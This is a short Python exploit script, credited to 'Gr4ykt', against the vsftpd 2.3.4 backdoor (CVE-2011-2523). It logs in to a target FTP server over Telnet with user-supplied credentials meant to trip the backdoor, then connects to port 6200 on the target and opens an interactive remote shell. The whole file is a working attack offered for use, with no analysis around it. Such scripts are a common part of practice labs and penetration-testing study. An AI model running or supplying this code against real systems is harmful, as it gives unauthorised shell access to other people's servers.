#!/usr/bin/python3
#
# +++++++++++++++++++++++++++++++
# +                             +
# +     Exploit by: Gr4ykt      +
# +                             +
# +++++++++++++++++++++++++++++++
#
# vsftpd 2.3.4 - Backdoor Command Execution
#	CVE-2011-2523

from pwn import *
import signal
from telnetlib import Telnet

if len(sys.argv) < 4:
	print("USE ---> {} <host> <port> <USER> <PASS>".format(sys.argv[0]))
	sys.exit(1)

def def_handler(sig,frame):
	print("[!]Exiting...")
	sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

my="""
\t+++++++++++++++++++++++++++++++
\t+                             +
\t+     Exploit by: Gr4ykt      +
\t+                             +
\t+++++++++++++++++++++++++++++++

\tvsftpd 2.3.4 - Backdoor Command Execution
\tCVE-2011-2523
"""
print(my)

host = sys.argv[1]
port = sys.argv[2]
user = "USER " + sys.argv[3]
passw = "PASS " + sys.argv[4]

tn = Telnet(host, port)
tn.read_until(b"(vsFTPd 2.3.4)")
tn.write(user.encode('ascii') + b"\n")
tn.read_until(b"password.")
tn.write(passw.encode('ascii') + b"\n")

tn2 = Telnet(host, 6200)
tn2.interact()
